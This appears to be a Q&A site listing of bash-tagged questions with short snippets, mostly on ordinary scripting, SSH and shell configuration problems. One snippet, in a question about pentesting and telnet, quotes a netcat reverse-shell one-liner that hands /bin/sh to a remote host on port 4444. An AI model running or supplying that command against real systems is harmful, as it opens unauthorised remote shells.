Questions tagged [bash]
Bash is a free shell for Unix-like operating systems from the GNU Project.
11,762
questions
1
vote
1
answer
30
views
SSH from A through B to C, using private key on B
Schematic:
ssh ssh
A ------> B ------> C
^ ^
using A's using B's
ssh key ssh key
Preconditions:
A is running ssh-agent
A can access B
B can access C
A can't ...
0
votes
1
answer
24
views
How to detect even or odd minutes in bash script
I need to detect whether the current minutes are even or odd regardless of the time zone !
I tried this according to answers from several sites:
#!/bin/bash
n=$(date +"%M")
r=`expr$n%2`
if [...
0
votes
1
answer
34
views
exit code segment causes Bash prompt to freak out
My Bash prompt (based on mike kasberg's) generally works fine. But when I get an error code, and then write over to the next line, no newline is generated, so the text goes back over my previous ...
1
vote
0
answers
23
views
How to Identify and Terminate Idle tmux Sessions on a Debian Server
I have a Debian server with multiple tmux sessions running. Some of these sessions are idle and not running any active processes. How can I identify and terminate all tmux sessions that are not ...
1
vote
1
answer
18
views
Does bash support variable substitution in return statement?
Does bash support variable substitution in return statement?
From man bash:
return [n]
Causes a function to stop executing and return the value specified by n to its caller.
Is n allowed to be ...
2
votes
1
answer
58
views
Provide argument while starting a service using systemctl
I have a service installed on an old server and it is started using;
service load-simulator start medium
The value medium acts as a profile of sorts. It can have values like low, medium, high, and ...
1
vote
1
answer
36
views
ssh -t host1 ssh host2 "cat < /tmp/test.txt" – file not found
I'm trying to run cat < /tmp/test.txt on remote host host2 through host1. The file /tmp/test.txt exists on host2. I try:
# locally
ssh -t host1 ssh host2 "cat < /tmp/test.txt"
The ...
3
votes
2
answers
426
views
bash see if element inside array is inside a different array
I am trying to test to see if an element inside an array exists. A test case is
array1=(a b c)
array2=(c d e)
for ((i=0; i < ${#array1[@]}; i++)); do
if [[ ${array1[$i]} == "...
0
votes
1
answer
18
views
Font size issue with xterms started through icewm's hotkeys
Recently got a new laptop with 1920x1080 monitor instead of 1366x768 on old laptop. All my many xterms suddenly smaller and text illegible. After investigation, decided easiest solution was an alias ...
0
votes
1
answer
25
views
Dealing with whitespaces in file names after git grep -l
I'm trying to run the script below and I'm struggling with pathspec error when the filename has whitespaces.
I have already read some other posts around here, but since I am not an expert I was not ...
0
votes
1
answer
54
views
How to transfer a file to a remote host using parallel + ssh?
I am writing scripts to poll a large number of remote hosts over ssh using gnu parallel. I copy the script to them, run it and get the results. Right now I'm using two bundles parallel + scp to ...
1
vote
1
answer
66
views
How to merge all mp3 files located in the same directory?
The command below used to work but stopped around ubuntu/kubuntu 20.04.
ls *.mp3 | sed -e "s/\(.*\)/file '\1'/" | ffmpeg -protocol_whitelist 'file,pipe' -f concat -i - -c copy output.mp3
...
1
vote
0
answers
77
views
How could I have VScode on Windows 10 with the default terminal changed to WSL2 Ubuntu-24.04 like a native linux distro?
I'm trying to have inside VScode for Windows 10 (Microsoft Windows [versão 10.0.19045.4474]) options to change the terminal from default to another one such WSL2 Ubuntu 24.04.
I have installed ...
0
votes
0
answers
31
views
Need Clang version at least 16
I am tried to compile the Apache Doris on macOS 13.3.1 follow by this document: https://doris.apache.org/docs/install/source-install/compilation-mac/. When I run the bash build.sh command, shows error ...
1
vote
0
answers
32
views
Why can’t I assign a requested address InspIRCd? “Reason: Cannot assign requested address”
I want to make an IRC server but when I run ./inspircd start it I get this. I turned off UFW and set up port forwarding, but nothing changes:
Inspire Internet Relay Chat Server, compiled on Jun 8 ...
1
vote
1
answer
53
views
Bash prevent word splitting in array from command
I am using bash to get all of my directories with find . -maxdepth 1 -type d. I am then storing it in an array called selections. The issue is if a file has a space in it then i get some issues. When ...
0
votes
0
answers
41
views
Permission denied: users/usr/.local/bin
I'm trying to install a program to download pdf files. This is the github link https://github.com/Lofter1/anyflip-downloader. I followed the istructions but I basically don't know exaclty what I'm ...
0
votes
0
answers
32
views
Redirecting standard output AND standard error in bash
I'm trying to write standard out and standard error to the same file.
$ /usr/local/bin/aapt dump badging base.apk 1>sout.text 2>serror.text
$ dog sout.text
package: name='foo' versionCode='1' ...
2
votes
1
answer
56
views
Cygwin bash script file fails silently
I have a script file that uses rsync for backup, then compares the two directory trees using diff. diff seems to find all the differences correctly - it matches what WinMerge finds. But when there ...
0
votes
0
answers
27
views
Grep’s result coloring, and right-to-left scripts
I have a text file with a single line that contains the single Yiddish word azoy, in Hebrew script: אַזױ. Then I grep for occurrences of the oy character, ױ.
(This is highly simplified of course, in ...
-1
votes
1
answer
44
views
Hide files and folders with same name
I ran into an issue where I had to restart my computer during a large extraction process involving many zip files :(.
All the zip files contain a folder that has the name of the zip file (minus .zip)
...
1
vote
1
answer
35
views
How to find the last N days from a log file [closed]
I have a log file like this:
my test log line May 18 2024 13:30
my test log line May 19 2024 13:30
my test log line May 21 2024 13:30
my test log line May 22 2024 13:30
my test log line May 23 2024 13:...
0
votes
0
answers
32
views
Launching Windows apps from WSL2 with foreground process control
I'm using WSL2 on Windows 11 and I'm trying to achieve the following: I want to launch Windows applications from within WSL2 and have the Bash terminal maintain a handle to the new process. ...
1
vote
0
answers
62
views
How to confirm ready state for an external USB disk before attempting other actions
[start of edit 1]
Before I plug in my external USB backup drive, my computer is fully booted-up, and I am in my session as root. Because of its location, my USB cord is already plugged in, but I ...
0
votes
1
answer
49
views
How to use grep with a pipe symbol from the command line
Maybe I'm missing something very simple, but I don't seem to be able to use grep from the command line (in bash) where the search argument contains a vertical bar |.
For example,
grep a|b
results in ...
1
vote
1
answer
54
views
Why I can't change the prompt in VSCode's terminal?
I am trying to change the prompt in my VSCode's terminal.
My OS is MacOS Monterey 12.6.
I use the zsh and I change the PS1 in .zprofile,such like this.
Then I use echo to test.The others can work ...
0
votes
2
answers
104
views
bash + how to insert date before line
lets say I want to pipe the date output in the beggining of some text
for example
echo "this line is test line" | date
and expected output should be
Wed May 22 14:55:10 UTC 2024 this line ...
1
vote
0
answers
75
views
how to install memcached via pecl?
I'm trying to install memcached and am having some difficulty. Here's what I tried:
apt-get update
apt-get install memcached libmemcached-dev libzip-dev
pecl install memcached
pecl install memcached ...
0
votes
1
answer
24
views
changing the directory a tarball decompresses to
When I do wget https://mirror.ctan.org/systems/texlive/tlnet/install-tl-unx.tar.gz and then tar xvzf install-tl-unx.tar.gz the files get extracted (right now) to install-tl-20240521. On the CLI it's ...
0
votes
0
answers
39
views
Store output of command history
Is there some way to record not only the commands that I type in my terminal, but also their ouput? Is there maybe something that I can add to my .bashrc that could act similar to passing all commands ...
1
vote
1
answer
168
views
How to find matching yaml files based on content
I have a bunch of files that contain yaml. Some files are yaml-only, some have yaml front-matter. I would like to be able to query the list of files to return a list that match certain criteria. In ...
0
votes
1
answer
112
views
ls -ltr on the terminal lists the files but says "No such file or directory" in a shell script
I am new to Bash and am practicing some shell scripts. I wanted to write a script to list all the folders and their file count, if a root path is passed as a parameter value from the terminal. The ...
0
votes
1
answer
29
views
SOX do not want name files
Want to record a radio broadcast into separated files.
receiver | sox -traw -r8k -es -b16 -c1 - -b16 -es -c1 -r48000 -t wav ~/myfolder/$(date +%H_%M_%S).wav silence 1 0.10 0.1% 1 1 0.1% : newfile : ...
1
vote
2
answers
42
views
Abstracting echo && return in Bash
In Bash I want to be able to write something like:
tst() {
[ -z "$1" ] && die "No parameters provided!"
# do whatever
}
but I cannot define die like this:
die() {
...
0
votes
0
answers
43
views
Connect to PEAP wifi network on mac with a shell script
I am making a shell script for my mac and part of it requires connecting to my school's wifi network.
I have tried both of the following commands and while the settings wifi tab says that the computer ...
0
votes
2
answers
79
views
File with no permission accessed with sudo
as no user have any permission to read file.txt,then why/how 'sudo cat file.txt' prints file contents?
bs01316@bs01316:~/test$ ls -l
total 4
---------- 1 bs01316 bs01316 6 মে 7 16:20 file.txt
...
0
votes
1
answer
68
views
How to do a Proximity text search, 2 + words?
What is a Linux terminal command to do a Proximity text search?
Search a directory, recursively, for files that contain :
2 words or more within
99 characters of each other
any order of above words.
...
0
votes
1
answer
57
views
Why executing 'bash' in the terminal opens wsl on Windows 10?
When I run the 'bash' command in the terminal, my console automatically switches to the 'wsl' mode. Why is this happening and how do I stop this behavior? It causes problems when I run other scripts, ...
1
vote
1
answer
42
views
git - using gitconfig to switch repository host address
So right now I have some alias in my ~/.ssh/config:
Host github_company_a
HostName github.com
Host github_company_b
HostName github.com
and I use the alias directly: git clone git@...
17
votes
2
answers
4k
views
How does ls know how to output its results?
While creating a bash script, I found that this code ls puts all files on one line:
pi@raspberrypi:~/ptlrestinterface$ ls
update.sh web.config MyApp.runtimeconfig.json
still ls | head -n1 ...
1
vote
0
answers
78
views
bash tab completion when using asterisk prefix for filename matching
I've noticed an undesired behavior with bash tab completion when it comes to filenames and I'm wondering if anyone knows of a fix. Say I have a directory with a bunch of files but only one with a ...
0
votes
2
answers
74
views
Is it possible to have assignment and test in a single line in Bash?
In python I can write this piece of code:
if (result := some_function()) > 0:
# do some thing with result
Is it possible in Bash script?
0
votes
0
answers
24
views
How can I execute a command whenever I change the PowerDevil power profile?
I have a laptop with a variable refresh rate (up to 120Hz) monitor. I want to change the refresh rate to 60 whenever I switch the power profile to "Power Save" in Powerdevil, and change it ...
0
votes
0
answers
34
views
Trying to understand telnet behavior and pentesting reverse shell in Unix
The first not working for me and the second working on telnet session, Unix:
What is the difference between:
.RUN rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 4444 >/tmp/f
And ...
1
vote
1
answer
328
views
Complete overview of Bash and Zsh startup files sourcing order
I was confused in what order my shells source which files. When researching this for myself, I came across several sources online and even read some parts of the manuals for both shells. But still, ...
0
votes
1
answer
230
views
How to disable MOTD from Debian 12?
I am looking to disable MOTD on my Debian 12 systems. I updated my sshd_config file to not display MOTD but it is still showing up. Is it possible it is coming from another module and how can I ...
0
votes
1
answer
33
views
sed does not consume rest of the line
I have one line of different words stored in a txt file
N/A 9.0 Yes Yes N/A N/A N/A N/A 8.8 Yes Yes N/A N/A N/A N/A 8.7 Yes Yes N/A N/A N/A N/A 9.2 Yes Yes Yes Yes Yes Yes 9.1 Yes Yes Yes Yes Yes Yes ...
0
votes
1
answer
41
views
Match a User That Starts With a Single Letter
I've been handed a script written by another and been asked to modify it according to their needs. There's one line that needs to be altered:
if [ "$user" == "nobody" ]
This ...
0
votes
1
answer
129
views
Linux Bash Wait Command Not Working
I am trying to use and bash file .sh to start other bash files in seperate terminals.
I want them to run one after the other as I use them to copy large numbers of files to the same Hard Drive. ...
2
votes
2
answers
70
views
Avoiding accidental execution of python scripts as bash scripts
I like to run my python scripts directly in bash like so
$ ./script.py
But sometimes I forget the shebang line #!/usr/bin/env python3, and it has the potential to overwrite a file named np if the ...